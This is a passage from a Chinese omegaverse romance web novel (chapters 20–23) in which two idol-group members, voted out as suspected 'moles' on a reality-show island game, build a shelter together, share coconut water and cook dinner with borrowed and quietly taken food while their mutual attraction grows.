方柏嘉坐在节目组搭建起来的台子边,有一下没一下地调整手腕上的手表带,李子晋站在他身后,没骨头的鱼似的挂在方柏嘉的背上偷懒。 方柏嘉回头发现是他,翻了个白眼抖抖肩膀赶人:“热死了你还靠上来,身上都是汗,起开。” 李子晋被他颠得脑袋一晃一晃,还在耍无赖:“不!我现在浑身都没力气,我就靠。” 汤昼恒刚从节目组那里接过箱子,沿着队伍分发矿泉水。 一抬头,远远就看见两人的上半身紧贴在一起的这一幕。 正赖在方柏嘉身上不肯走的李子晋突然脑袋一凉,感觉有一阵寒风吹过脖颈。 他警觉而茫然地抬起头来,视线环绕一圈,却并没有找到那股寒意的源头。 于是不做他想,继续靠回方柏嘉的身上。 放在以前,方柏嘉绝不可能允许李子晋这么做,alpha身上的味儿都太冲,他真的很难忍住想要暴打对方的欲望。 但现在他第二嗅觉不够灵敏,几乎闻不到什么信息素味,方柏嘉低骂了一句“有病”,懒得抬起自己先前打排球打得酸软的手,还是没去管他。 李子晋这家伙体能不行,在alpha里水平只能算作中下,本人也不爱锻炼,平时在节目里起到的都是耍宝和活跃气氛的作用,让他运动一下就跟杀人似的。 有这么虚的alpha也是难得,方柏嘉心中暗嗤。 “给。”这时,一只手突然从旁边伸过来,递给他一瓶水。 方柏嘉抬起头,看到是汤昼恒,不由愣了一下。 不自主地就有点局促,接过来说:“谢谢。” 汤昼恒笑了笑,又给李子晋递了一瓶。 李子晋干脆道:“谢……” 他伸手去拿,第一下居然没拽动,脱手了。 嗯? 这人攥得好紧。 李子晋不信邪地又试一次,这下好了,塑料瓶没什么阻力地就到了他的手里,可能刚才对方没注意吧。 他也冲汤昼恒道了声谢。 汤昼恒回了个很有礼貌的淡笑,但似乎笑意并不达眼底,不过片刻就从两人身边走了过去。 “你老公好高。”等他走远,李子晋对着汤昼恒的背影感叹,“一米八以上的男人身高含金量就是足,我怎么觉得他一米九都有了?” 方柏嘉见怪不怪:“你这么惊讶干什么,你不也是拍戏的,在那些什么大赏上没见过?” “见过倒是见过,这么近距离的观察真没有。”李子晋撇嘴,“你老公又不演偶像剧,我们根本不是一个赛道上的,话都没说过两句。” 停了停,他若有所思:“话说你老公是挺帅啊?他性取向是omega还是alpha,你打听过没有?” “……?”方柏嘉几乎瞪着眼睛看他。 他和李子晋关系好,还有一部分原因,就是因为这人也喜欢alpha。 停顿好一会儿,方柏嘉憋出一句:“你问这干嘛?” “不干嘛。”李子晋眨眨眼,“喜欢大帅逼alpha是我们A同的天性……” 一个“性”字还没说完,方柏嘉就一把勾住他的脖子向前压倒,蛮横道:“不许!警告你我同担拒否你听见没有——” 李子晋身体差点一个倒栽葱:“唉唉!知道了知道了,我就开个玩笑,你先把我放开!” 20-30 第21章 第 21 章 另一个alpha留下的…… 总共三轮游戏结束, 最后对面以微妙的优势胜出。 他们这队虽然有方柏嘉和汤昼恒两个擅长运动的alpha在,但同时也包含了三名omega,还有一个使不上力的李子晋, 两边相互抵消,最后的总体成绩并没有很突出。 工作人员小跑过来, 将写着线索的纸条递给另一队。 康导说:“你们可以选择是否将这条线索共享给对面。” 对方在简单商量后就选择了共享。 【两名内鬼目前正在同一个队伍当中】。 镜头从众人脸上一一扫过,每个人都露出了不同程度的惊讶表情。 康导那边计算好积分排名, 宣布大家可以决定今晚的住所了。 节目组为他们准备的过夜地点总共有三个, 公馆、村民家、山脚守林人的木屋, 前者可以容纳四人, 后面两者分别可容纳三人。 公馆条件最好, 因为是曾经的匪王居住过的宅子, 里面的线索最多,是岛上的中心区域。越往后条件越差,所处位置也越边缘。 有人很快注意到不对, 提出疑问:“搞错了吧?三个地方加起来才能住十个人, 可我们有十二个。” 康导:“我说过, 你们当中有两名内鬼。因为内鬼很可能在其他人落单时对你们下手,所以你们现在要根据今天上午三轮比赛中的表现,投票选出两名可能的内鬼人选, 将他们‘驱逐’到海边。” “这两个人今晚没有选择, 只能用节目组提供的材料自行搭建临时的庇护所度过一夜,剩下的所有人按个人积分排名先后挑选住处。” 三轮游戏说多不多,说少不少,可判断的信息有限,大家你看看我,我看看你, 各有各的茫然。最开头几人的发言明显散乱,没什么明确的目标和想法。 直到轮到第四个的聂英毅发言,他上来就是一句:“我觉得方柏嘉可能是内鬼。” 康导:“理由?” 聂英毅:“理由是最开始知己知彼的环节,一个队友总共才出场过三四秒的电影,梁易看了三遍都不知道汤昼恒有出场,方柏嘉能有印象?不是说不熟,没看过对方演的电影吗?” 这里显然说的是音乐盛典的直播事件。 那次的事闹得挺大,后来还被人买了黑热搜,在榜上挂了许久,圈里爱吃瓜的估计都看过那个时长不足一分钟的剪辑视频。 聂英毅语气夸张,话音落下,另一个机位立刻对着方柏嘉来了个近景脸部特写。 方柏嘉:“……” 聂英毅接着信誓旦旦地说:“我严重怀疑节目组给他透题了。一般什么情况下导演会给人透题呢,就是内鬼,因为他们两个人对我们十个,肯定要给一些便利,不然没法演。” 康导一脸无奈:“不要瞎说,我可没透题。这样吧柏嘉,你再说一点关于这部电影的细节,证明你的确看过。” 方柏嘉没立刻说话。 这个问题确实有点犀利。 犀利就犀利在他当初在媒体面前耍性子说自己从没看过汤昼恒演的电影,结果在综艺里又因为答题显出前后矛盾,那这会儿他是应该承认还是不承认? 说自己看过,就证明他直播里说的是假的,方柏嘉都能想到后边网络上讨厌他的人看到这个片段后会说什么了—— “撒谎成性”“以小见大”,“明明都看过还要故意让对方下不来台,fbj也太恨tzh了吧,真是燈1深柜”…… 其实他自己倒没有太大所谓,但考虑到公司那边特意把汤昼恒送过来草团队人设的良苦用心,方柏嘉肯定不能这么干。 正在他飞速头脑风暴的时候,汤昼恒忽然开口:“是我告诉他我演过这部电影的。” 显然没有。 方柏嘉有点惊讶,下意识朝汤昼恒看了一眼,搞不懂他为什么要替自己打掩护。 想了想又明白过来,对方这是真的以为他拿了节目组的答案,圆不上来了吧? 毕竟好不容易才在节目里表现得这么和谐友好,一露馅就前功尽弃了。 “没什么好说的。” 出乎意料的,方柏嘉没有顺着汤昼恒给的台阶往下讲。 像没听见对方的话,他翘了个二郎腿,拽气冲天道:“导演就是给我透题了,因为公司要我们在镜头前表现得亲密一点,怎么了?” 他摊开手,对着镜头耸耸肩,随后又看向聂英毅,做出破罐子破摔的样子:“录制前都说好了的,你现在在这装不明白是什么意思?你要这么说的话,我也可以说我怀疑你就是这期的内鬼。一上来就拿大家都知道的事做文章,是觉得我不好意思讲吗?” “你的动机非常可疑。” 这是摆明要对着踩的意思。 方柏嘉来了这么一出,表面上看是承认,其实是变相的否定,将一开始就cue到过的话题再度提起,让众人以为聂宏毅是在故意扭曲事实地找茬。 这样他就算顺着对方的话讲,别人也只会以为方柏嘉是在赌气说反话自黑,从而将关注重点放在对方为什么要针对他上。 方柏嘉这么一说,好几个人都露出了恍然大悟的表情。 “我也感觉毅哥今天游戏的时候有点不对劲。” “他发言太活跃了,平常毅哥都很偷懒,没有今天一上来这么大的攻击性。” 聂英毅被方柏嘉反驳也没有慌乱,将战火继续引到他旁边的人身上,不疾不徐地说:“线索说现在现在两名内鬼都在一个队伍里,该不会就是你和为你说话的这位好队友吧?如果你们两个没有关系,他为什么要多此一举帮你呢?暴露的太快了。” 年长的男beta做唏嘘状。 被提到的两人互相望了望。 汤昼恒双手交握着搭在腿上:“我只是觉得你踩人踩得莫名其妙。电影的事我私底下确实和他说过,你却咬死了说他透题,不觉得很牵强吗?现在又因为我帮他说了一句话,迫不及待想把两个内鬼的位置都钉死,其实你才是在为自己的内鬼同伴打掩护吧?” “导演刚才说过内鬼的任务是阻碍游戏进程,我和柏嘉游戏里都很卖力,完全没有偷懒不是吗?” 聂英毅嗤之以鼻:“表面上是这么要求,可内鬼输得太明显就暴露了。相反,只要他们表现得积极一些,个人积分高到可以去住公馆,不仅能打消大家的嫌疑,说不定还可以提前拿到关键线索销毁,其他人不就不知道内鬼是谁了吗?” “照这么说就是不管表现好还是不好我都可疑呗。”方柏嘉冷笑,“下把比赛我要是输了,岂不是又变成我被你说心虚了改变策略故意放水?” …… 在他们唇枪舌战的当下,其他嘉宾也在和身边的人窃窃私语。 明眼人都看出来聂英毅正战斗欲上头,谁也不想和汤昼恒一样因为帮忙说了句话就被波及,大家都选择了保持沉默。 一轮发言过后,到了投票环节,大家要一个一个地说出自己两张票分别投给谁,再说出原因。 轮到狄弘亮时,他这样道: “是这样的朋友们,不如我们这么想想。在海边自己搭建帐篷,这多累啊,对女生和omega来说合适吗?如果刚好匹配到一个omega和一个alpha,显然也不方便。那么从人情世故上来考虑,是不是安排两个青壮年alpha小伙子去最合理?” “所以我——选择投给这二位。” 他伸手指了指方柏嘉和汤昼恒所在的位置,嘿嘿一笑:“其实我没有觉得他俩一定是内鬼,但也选不出别人了,所以就这样吧,暂时委屈你们俩一下。” 搅浑水的老油条。方柏嘉听到这里忍不住暗道。 嘴上说的这么好听,其实方柏嘉已经根据现场的个人积分板子看过了,狄弘亮年纪较大,体力也一般,目前在十二个人里排在中间的位置。 而上午的两轮比赛都是比拼体力的游戏,是方柏嘉和汤昼恒的舒适区,两人在这两局里积到的分数位列前二。 把积分高的人干下去两个,他刚好能擦边入住公馆,这才是最根本的利益推动。 方柏嘉敢肯定,和他一样这么想的人不止一两个。 这个部分看似是选内鬼,其实少不了个人私心和考量。 综合来看,为了把高积分位的人拉下来减少竞争力也好,从生理条件考虑也好,单纯只是不知道该投给谁所以凑数也好,不管是从哪个角度出发,把方柏嘉和汤昼恒投出去都有百利而无一害。 在狄弘亮后,又一名嘉宾也开口:“我同意弘亮哥的话,我也投给他们俩。” 狄弘亮就这样凭借一己之力带跑了接下来的风向,哪怕两人已经努力在为自己据理力争,还是没多大用。 最后方柏嘉以8票的微弱优势超过7票的汤昼恒,和他一起被当成内鬼打包“驱逐”了。 康导:“好的,各位已经选好了自己今晚的住处,请十位跟我转移到岛屿中心,你们将通过接下来的游戏获取今天晚上的食材。” “至于那边那两位,你们因为被‘驱逐’,无法参与今天的食材争夺环节,请自行解决你们的晚餐,或也可使用积分来兑换食物和其他道具。” * 节目组大部队从海滩撤离,转场去了下一个地点,最后只留下一名副导、两名vj和几个工作人员陪二人进行接下来的拍摄。 离开的嘉宾一边往远处走还一边冲他俩打招呼:“你们好好培养感情,我们就不打扰了——” “……” 椰林下方空荡荡的树荫里,一对瘦高的人影显得凌乱又孤独。 方柏嘉站在原地,侧头和汤昼恒面面相觑。 有点尴尬,又有点无助。 靠,这下从竞技综艺变成鲁滨逊漂流记了。 他心里乱糟糟地想。 这么当着好些人的面和汤昼恒在节目里独处,似乎还是头一回。 是该说倒霉还是还不赖? 二人领取了节目组给他们提供的基本工具:一把手斧、能用来切割的小刀、麻绳若干,然后没了,剩下的就是一张必须用积分购买的可提供物品清单。 最后是汤昼恒第一个开口:“先看看能买什么吧?” 不看不知道,一看吓一跳。 清单上的东西都贵得离谱。 方柏嘉和汤昼恒的得分已经是全部人里数一数二高的了,两人加起来可支配的积分有四十七点,结果清单上面光是一瓶水就要十点,其他的物品反而显得没那么贵。 方柏嘉看到数字后眼睛都睁大了:“你们这也太黑了吧?” “在海岛上就是这样呢。”工作人员无动于衷地解释,“干净的水源在野外永远是最珍贵的,节目组设置的价格很合理哦。” “…………” 方柏嘉又埋头看了会儿清单,定了下神:“所以我们现在的目标,一,把今晚睡觉的地方弄出来,二,想办法搞到晚餐食材?” 他和汤昼恒面面相觑了几秒,又同时低下头。 积分完全不够。 汤昼恒说:“矿泉水就不要了吧。刚才节目组给的还没喝完,省一省撑过半天应该没问题。” 方柏嘉:“可以。” “价格都太高了……先把最必须的物品买了。防潮垫是不是得来一个?还有毯子,海边晚上风很大,可能会冷。” “餐具也得有。”汤昼恒说,“这里有个锅,但是要二十积分,不划算——等等,这个铝饭盒可以,它可以直接放在火上烧。” “真的假的?” “应该吧,我看过这种户外野营视频。” …… 两人你一言我一语,反反复复把单子快翻烂了,一对脑袋凑在一起,不知不觉中挨得很近,距离缩短到能感到对方体表如有实质的温度,温暖得甚至有点蜇人。 装点在镜头中,竟也是相当和谐温馨的画面。 忽然间,汤昼恒的眉心冷不丁跳了跳,察觉到方柏嘉的肩上有另一个alpha留下的气味正朝自己蔓来。 汤昼恒一下就认出来,这是那个叫李子晋的人的信息素。应该是中午那会儿蹭上的,到现在还没散去。 他隐秘地朝对方望了望。 方柏嘉一副毫无知觉的样子,正对着摆在自己和汤昼恒中间的清单观察得很认真,嘴里还念念有词地计划着什么。 看来像是已经习惯了那人信息素的存在,以至于不清楚这味道有多刺鼻。 凡是和方柏嘉相处久一些的人都知道,他对alpha的信息素极度敏感,因而即便是团体里和他关系不错的杭泽宇和江白树等人,也不能在未经对方允许的情况下近他的身,更别提在他身上留下这样明显的印记。 运动后信息素的气味会不自觉地加重,这是正常生理现象,或许那个alpha的确是无心之失。 但方柏嘉呢?为什么会如此自然地容许对方这么做? 汤昼恒收回目光,低眉不语。直到方柏嘉又催促一遍,他才意识到对方刚才似乎提出了个问题。 “不好意思,什么?”他回过神来,问。 第22章 第 22 章 都弄我脸上了,哥。…… “我说, ”方柏嘉看着他的表情有些奇怪,“我们先只买这几样吧?” 他指了指清单。 汤昼恒顺着他手指的地方瞧过去,率先看到一个【防潮垫·小号, 二十积分】。 “……确定是买单人的吗?”他扬了扬眉,看向方柏嘉确认。 方柏嘉脸上的表情有点尴尬, 不知道对方这么说是什么意思。 不愿意?觉得嫌弃? 他征求意见的时候,心里也有点忐忑。见汤昼恒好几秒没回应, 生怕这人以为他对他有非分之想, 要趁机占人便宜。 立即解释道:“双人大号的要三十积分, 太多了。我看这上面写宽度有九十公分, 那就和大学宿舍床差不多, 挤一挤应该能挤得下……?” 话是这么说, 方柏嘉自己也不是特别确定。 好在汤昼恒并没有多说什么,只是垂了垂眼,再抬起来时道:“如果你不介意, 那我也可以。” 气氛无端有点古怪。 好像两个人都心知肚明, 以他们现在的处境要睡在一起是件很暧昧的事, 于是都不自觉关注着对方的反应,并在这样微妙的谈话状态下达成了一致。 单子上的食材太贵,哪怕把所有积分都用来买吃的还不够, 可见节目组是铁了心地让他们自给自足。 不知道后面能搞到什么, 方柏嘉不想一下把所有积分都用掉,在跟工作人员讨价还价后,和汤昼恒商量着花三十积分买了一条毯子、一张防潮垫、还有几块塑料膜,都是晚上过夜用的。 交易成功,他们开始搭建庇护场所。 先于海滩边上的树林里挑好地点,在两棵距离合适的树中间绑一根长木棍, 找来差不多粗细长度的树枝,按倒V形均匀分散在长木棍两边,用绳子固定出类似帐篷的形状。 再把捡来的杂草细枝垫在地面,当成床垫,里外都铺上能防水挡风的塑料膜,最后在庇护所的屋顶两边各盖一层厚厚的棕榈叶片,往里面放上防潮垫和毯子。 一系列流程看起来简单,真做起来依旧有些难度。 材料并不是现成的,需要他们到处去拾取采集,能用来搭建庇护所的木材基本都又重又长,虽然对于alpha来说也不是搬不动,但一趟趟扛下来仍然很费体力。 碰上尺寸不符合的木材,还得手动用工具去劈砍和截取。 遇到这种体力活,两个人就轮流来。 “我们这个节目,就是这样的,生存体验,智力开发,探索解谜,体力劳动……什么都有一点!你习惯就好——” 方柏嘉一下又一下地挥舞着斧子,砍一下,吐出几个字,停顿两秒,然后再来。 最后实在觉得累了,他一把将手上的斧头甩开,扔到地上,自己也随地坐了下来,用戴着手套的脸抹了下手背,说:“不行,我好渴。” 他拿起一旁的矿泉水瓶想要喝水,看到里面剩下的水量,又忍住了,把水瓶放回原位,舔舔干涩的嘴唇。 汤昼恒见状,将自己的那瓶拿来:“我这还有。” 方柏嘉摆摆手拒绝了:“留着给晚上用吧,节目组不一定会再给水。到时候如果要煮东西,咱们还得用这个。” 汤昼恒站起来四处看了看,突然想到什么,俯身碰了碰方柏嘉的肩膀:“有椰子。” 方柏嘉一愣,随着他的视线一起抬头。 两个人想办法从树上敲了几颗椰子下来,不知道是不是品种的原因,还是纯粹还在幼年,看着不如超市里卖的椰子大。 方柏嘉掂量两下,忍不住有点犯嘀咕:“这么小,里面有水吗?” 汤昼恒说:“先开一只试试。” 椰子圆滚滚的,不太好固定。手边没有其他合适的工具,他们试了好几次,才用斧子成功将椰子表面砍开一个口。 椰壳沾了地,有点脏,汤昼恒用衣角擦了擦才递给方柏嘉。 方柏嘉将椰子举过头顶,试了好几次都无从下嘴,开的口子范围太大,不确定液体会从哪个地方下来。 汤昼恒看了便道:“我来吧。” 方柏嘉想想也好,将椰子交给了他。 自己则稍稍弯下膝盖,专心地仰起脖颈,有些不好意思地张开嘴巴等着接。担心自己现在的模样太傻,眼睛在两边到处地乱转。一会儿看左,一会儿看右。 从汤昼恒这个角度,刚好能看见他那紧张闪颤着的乌黑睫毛,从淡粉的唇瓣下边露出来的洁白齿尖,还有藏在口腔中因控制不住而微微蠕动着的舌肉。 汤昼恒将手中的不规则球体倾斜至一定角度,对准方柏嘉缓缓倾倒。 结果因为砍出来的豁口有个斜面,流出来的椰子汁没有垂直落进方柏嘉的嘴里,反而顺着那个斜面流了下去。 汤昼恒眼睁睁看着那条水线在空中拐了个快六十度的弯,哗啦—— 完美地击中了方柏嘉的下巴,多余的量顺着他的下颌线以及喉结向下蔓延,瞬间就把他的衣领给打湿了。 “…………” 方柏嘉受了惊吓,一下往后跳出去两步。 “抱歉。”汤昼恒难得有点尴尬地说,“我没注意到它这里的开口是斜的,下次注意。” “没、没事。”椰子水很快漫进领口,方柏嘉把下巴和脖子上的水液擦了擦,很大度地表示没关系。 汤昼恒又给他倒了第二次。 这次是计算好的,吸取了先前的教训,他特意把椰子往前举了一点,确保那个斜坡的末端正对着方柏嘉的嘴。 结果这一回,水并没有沿着斜坡而下。 像是有意和二人开玩笑似的,它径直顺从了地心引力的召唤,直直朝着方柏嘉的面中倾倒上来。 清凉的椰子汁先是砸中了他的鼻尖,紧接着便沿着年轻alpha高挺的鼻骨向下滑坡,向着他全脸最低处的眉下眼窝汇聚过去。 淋了方柏嘉小半张脸。 方柏嘉的眼睛一下就闭上了。 像是早已预料到这倒霉的一幕一般,这回反倒站在原地没动,只是颇有些心如死灰地将头转回到正常位置,任由那些液体从他的脸上滚落。 “。”汤昼恒下意识还想再跟方柏嘉道歉,看见他的样子,却忍不住“噗嗤”一声笑了出来。 声音轻轻的,但还是被方柏嘉听到了。 要是对方是李子晋,方柏嘉这会儿估计已经发起火了,偏偏那人是汤昼恒。 他又好气又好笑,还有点无奈,想生气也生气不起来——某种程度上,这也算得上是一个综艺名场面。 倒霉成这样也是挺难得。 方柏嘉越想越觉得这事确实挺逗趣的,也莫名地跟着汤昼恒笑起来。 “对不起,真的对不起。这个太难对准了。”汤昼恒放下椰子,边笑边抓着方柏嘉的手腕把他拉过来,想要用手给他擦擦。 一上手,就知道坏事了。 只因他刚才为了方便抓握椰子,是直接摘了手套操作的,手上不知道从哪弄上泥灰,在脸上一蹭就是一片棕灰色的水渍。 “……” 镜头前,汤昼恒的沉默震耳欲聋,手上的动作也凝固了。 方柏嘉不解他为什么突然停了下来,见汤昼恒不动,干脆推开他的手,自给自足地狼狈抹起脸上的椰子汁。 ……结果就是更加地把那片污渍给涂匀了。 他这一抹,汤昼恒原本差不多已止住的笑意又扬起来。 有点缺德,但就是忍不住。 方柏嘉感觉自己眼皮上都是水,眼也不敢睁,听见汤昼恒的笑声,越发摸不着头脑,这下终于撇起嘴,说:“……你还笑!” “——都弄我脸上了,哥。” 最后这声哥,音调居然还是转弯的。 认命似的,听起来甚至带着点撒娇般的埋怨,熟络得不像方柏嘉应该对汤昼恒说的话。 话音未落。 别说是汤昼恒,方柏嘉自己都愣了。 尽管对方确实比他大一岁,但方柏嘉现实里其实很少这么叫他。 就算有什么事要讨论,或者有谁让他帮忙给汤昼恒带话传达,方柏嘉基本上也都是直接拍拍对方的手臂,等汤昼恒注意到自己了,直接跟他说“谁谁谁找你有什么事”,或者干脆称“你”。 至于称呼?不存在的。 对年长又不那么亲密的人直呼其名不太礼貌,像其他人那样叫“恒哥”“汤哥”太肉麻了,总觉得差了那么一点味道。 偶尔在比较官方的情况下会叫“队长”。 刚才的这声“哥”,直接把方柏嘉自己的鸡皮疙瘩都给干起来了。 不是那种单纯只是喊一声的、简单而短促音节,而是音调拖长,夹带着个人情绪的称谓。 在不自觉中偶然间泄露了一点心底的秘密,显示出隐秘而几不可查的偏好。 方柏嘉感觉自己的喉咙紧了紧,嗓音涩得顿时有点说不出话。 他无意识做了个吞咽的动作,喉结仓促地滚动一下。一时间,四周好像变得寂静无声,连晃动在头顶上空几米处的树叶沙沙响都淡去了。 仿佛掩饰一般,方柏嘉佯作若无其事,更加卖力地擦起面颊。 汤昼恒回过神来,拉住他的手,阻止他继续把自己弄成一张花猫脸。 “不是,你别抹了——你手上都是脏的,再擦也没用。”汤昼恒面不改色心不跳地掩盖了自己的罪行,将锅推到了方柏嘉自己身上。 “过来,给你洗把脸。” Alpha把矿泉水瓶盖拧开,只留一条小缝,让清水形成细细的一柱从里面流出。 方柏嘉就着这点水流洗脸。 “椰子水有进到眼睛里吗?” “没有。”方柏嘉摇摇头,示意水够了,稍微直起身体,撩起衣服给自己擦脸,又把锁骨这些地方也擦了擦。 一睁开眼,就看见汤昼恒手上拎着水量明显减少的矿泉水瓶。 “……唉。”尽管已经猜到是怎么回事,他还是忍不住叹一口气。 本来饮用水就已经够少的了。 不过这倒是给了他新启发。 “我们拿瓶子装椰子水吧。”他说。 把两人剩下的矿泉水都倒进一个瓶子里,空出来的瓶子刚好可以当做容器。 因为椰子水是“取之不竭”的,随便喝也没事,方柏嘉这回终于可以放开了畅饮,一个人就喝了大半瓶。 喝的时候他没多想,想着两人反正也嘴对嘴过了,上回他傻傻地去问吸管的事,汤昼恒还“嘲笑”他来着,于是直接对着瓶口灌的。 喝完才想起来旁边还有vj在跟,这不是在私下,而是很有可能放在综艺节目里,播到大众镜头前的画面。 意义完全不一样。 方柏嘉冷不丁咳嗽了一声,将剩下瓶子里的水递给汤昼恒时还有点不好意思,汤昼恒没什么特殊的反应,接过装了椰子水的瓶子,很自然就贴着嘴唇喝了起来,好像这只是一件再正常不过的事。 方柏嘉装作很忙的样子,低下头去研究地上的椰子该怎么处理。 两人解决完一瓶水,再度把瓶子灌满。 方柏嘉对着只剩下肉的空椰子研究半天,说:“你说这椰子还能有什么别的吃法吗?” 汤昼恒想了想:“我只听说过椰子鸡。” “可是我们没有鸡。” “……” 方柏嘉冲着手边的椰子残骸沉默了一下,最后毅然决然地说:“等下我们去找其他人要饭吧。” 第23章 第 23 章 浑然不觉变得亲密。…… 搭好庇护所, 被工作人员检查确认合格之后,他们总算有了上岛探索的机会。 按照惯例,节目组会将一些和宝藏主题有关的线索藏在岛上各处, 让嘉宾们自行寻找发掘。 只不过有这个被当成内鬼“驱逐”的天崩开局,在方柏嘉和汤昼恒到达之前, 岛中心早已被其他那十个人翻烂了,想必就算还有剩下没被找到的线索, 应该也是隐藏极深、难度最高的那种。 方柏嘉没抱太大希望, 和汤昼恒一起兜兜转转, 把整个岛逛遍了, 果然没有任何收获。 他觉得节目后期应该会给他们两个贴上一行配字, “世界纷纷扰扰, 我们岁月静好”,或者“格格不入”之类的。 最后只剩几个落脚点还没搜索。 溜达着来到公馆门前,里面的四名嘉宾已经在准备做饭。 方柏嘉向汤昼恒使了个眼色, 两人一起走进去, 开始查看公馆内部构造, 想看看能不能找到漏网之鱼。 从二楼,再翻到一楼。 狄弘亮正在楼下大厅的餐桌边处理手上的食材,见状道:“别找了, 这边里里外外都被我们找过了, 你们不可能发现新线索的。” 也不知道是不是故作声势。 方柏嘉没有回应,还在墙边一个抽屉一个抽屉地拉过去。过了一会儿像是终于放弃,才重新走回来打商量,问能不能分他们一点吃的。 从桌上的食物看,这四个人的晚餐算不上丰盛,看来节目组在争夺晚餐食材的环节也没大发慈悲, 不过也够他们吃饱。 刚从厨房里走出的聂英毅听见他的要求,抬起一边眉毛:“吃的?可以,但不能白给,除非你拿东西跟我们换。线索,或者其他物资,你们有么?” “……” 有就怪了。 方柏嘉尴尬了一阵,但还是说:“我们有椰子,可以拿几个椰子跟你们换。” 聂英毅直接笑了一声:“椰子?这东西也就能当饮料喝,你确定它和食材有可比性?不换。” 方柏嘉想到自己和汤昼恒在海边的聊天,和他争论:“当饮料喝也不错啊,你们吃得这么清淡,难道不想加点口味?……你们可以做椰子鸡。” “我不爱吃那玩意儿。”聂英毅嗤道,作势就要赶人,“你们搜完没有,没搜到线索就赶紧走吧——” “要不然还是给他俩一点儿吧。”四名嘉宾里的另一个beta于心不忍,说,“他们没东西吃也怪可怜的。” 汤昼恒从公馆另一边的楼梯上下来,刚好听见这几句话,便道:“算了,要是不愿意换食材,给我们一点调味品也行。” 方柏嘉回头看了汤昼恒一眼,有点无奈,但也同意了对方的话。 他脸皮薄,本来就不是喜欢和人讨价还价、要求什么的人,让他拼体力,玩游戏受罚都无所谓,方柏嘉吃得消也豁得开,一个人搭庇护所都不是什么接受不了的事。 和人打交道,他却实在苦手,想出来的话也干巴巴的,方柏嘉自己说完都觉得没说服力。 要不是想着这回汤昼恒跟他一起没饭吃,他在被拒绝第一次的时候就该调头走了。 听汤昼恒这么说,他反而松一口气,心想算了,实在不行去海边捞点螃蟹,一晚上少吃点也饿不死。反正是节目组的常规操作了。 聂英毅这才答应。 公馆组的其他嘉宾给他俩找了个洗干净的塑料盘,倒了几种不同的调味品在上边,说好用四颗椰子来换。 离开公馆,方柏嘉和汤昼恒又去了另外两个落脚点。住在村民家的人给了他们一点蔬菜、豆腐菌菇之类的素菜,山脚木屋的那边的嘉宾则分给他们一小块五花肉和一碗生米。 回到沙滩边上,他们开始着手用木棍挖坑,准备点火。 方柏嘉去搬来一些大的石块围在坑边,垒成灶台的形状,防止海边的风太大,把火吹熄。 汤昼恒则负责再去林子里找一些易燃的枯叶树枝和耐烧的粗木块,把它们劈成更小的柴。 最后剩下十七个积分,他们全用来买了一个铝饭盒搭配两把勺子,再加一个打火器。 趁着方柏嘉生火的功夫,汤昼恒道:“那你先在这边忙,我去弄几个椰子给他们送过去。” 方柏嘉点头说好。 这时天已经暗了下来,海岸上空一片墨蓝,唯有靠近海平面的地方还有一丝亮色。 方柏嘉在原地蹲等了片刻,见火没有要灭的架势,便决定进庇护所里休息一会儿。 忙活了一下午加半个晚上,腰有点酸。 他在防潮垫上躺下,怕汤昼恒回来看不见自己,以为他不见了,想了想又往下出溜一点,把脚露在外面。 好了,趴会儿吧。 方柏嘉闭眼假寐,等着汤昼恒的返回。 结果过了好半晌,久到方柏嘉觉得自己已经躺了半个小时了,都没见有人过来找他。 ……怎么回事,按理来说该回来了。 方柏嘉看了眼健康手表上的时间。 正打算出去看看情况,仿佛为了抚平他的疑虑似的,庇护所外冷不丁传来一阵被油烤过的肉类香气。 这味道很微弱,却一下就勾起方柏嘉最敏锐的嗅觉神经,他坐直起来,不可思议地在面前的空气中闻闻,还以为这是他被饿晕之前产生的幻觉。 直到站起身走出去,他才意识到这不是假的。 就在距离庇护所约十五米远的地方,这片树林的边缘。 汤昼恒不知什么时候已经回到了火堆边,面前的灶台上架着打开的铝饭盒,里面正冒着一缕缕淡淡的白烟。 方柏嘉越是走近,那阵肉香就越明显。 及至他来到跟前,方柏嘉终于看清汤昼恒在做什么—— 他把那块要来的五花肉放在饭盒底部烧了会儿,煸出油,把切成差不多五毫米厚的一片片午餐肉放进去煎。 方柏嘉刚才闻到的,其实就是煎午餐肉发出来的味道。 …… 等等,午餐肉? “你从哪搞到的?”方柏嘉仍有点在做梦般的虚幻,一脸诧异地在汤昼恒身边坐下。 说不惊喜是假的,他凑过去细闻肉香,脸上的表情还懵着。 刚才还在想呢,他吃不了肥肉,拿到的这点食材能做什么,难道煮素菜粥? 汤昼恒就猜到他会是这个表情,嘴角细微地勾了勾,本来似乎不太想说,被方柏嘉的目光一直盯着,他才道:“从公馆里拿的。” 方柏嘉不解:“拿的?” 聂英毅之前都那么抠,怎么突然就转性了? 他冷不丁反应过来,张嘴惊讶道:“你该不会——” 汤昼恒不语,只是低头用筷子将盒里的午餐肉翻了个面。 不说话就是默认。 方柏嘉了然:“所以你之前急着去送椰子,是因为……” 汤昼恒一脸淡定:“我担心他们动作太快,等我过去饭已经做好了,就顺不走东西了。” “本来刚去的时候我就想这么做的,”顿了顿,汤昼恒又说,“但是没找到合适的机会。他们有两盒,我拿一盒应该没关系。而且张姐后来看到我了,她也跟我说没事,让我赶紧拿走。” “……” “……” 几秒钟的安静。 汤昼恒本来还有点担心,方柏嘉会不会觉得自己这个做法不太体面。 下一秒,就见对方猛地在灶台边做了个假装砸桌子的姿势,道:“我怎么没想到。” 方柏嘉义愤填膺,气哄哄地:“早知道我也悄悄拿点儿了,靠。没有我们他们住得上大房子吗?给咱俩支付一点报酬是应该的——让给点吃的还不情不愿,哼。” 浑然不觉言语中的距离早在不知不觉中拉近,变得亲密。 他又冲空气挥了挥拳,挥到一半转头看向旁边举着机器对准自己的vj,脸上有点孩子气的怒意顿时化成了一个标准的假笑:“如果这段到时候要播出的话,记得把我刚才的话剪掉。” 汤昼恒淡笑着摇了摇头,夹起一片午餐肉,正面反面地看了看成色。 沿着盒边撇掉了多余的油,又在空气中晾了一会儿,忽然说:“这块煎好了,你尝尝?” 说完手臂伸过来就要喂他。 方柏嘉望着递到嘴边的午餐肉愣了愣。 看到汤昼恒的这个举动,他的第一个反应居然不是张嘴去吃,而是下意识看了眼手腕上的健康手表。 他已经被这破表给搞怕了,很有预见性地先拆下来,放到一旁。 就像一个只有两个人知道的咒语或者秘密,重新抬起眼来的瞬间,方柏嘉似乎看到汤昼恒嘴角不明显的笑意。 “……” 脸上倏然不明显地热了一下,不好做出太惊讶的样子,也不方便让对方等太久,他犹豫一瞬,快速凑近过去,对着午餐肉吹了吹,小心翼翼地咬了一口。 “嗯——” 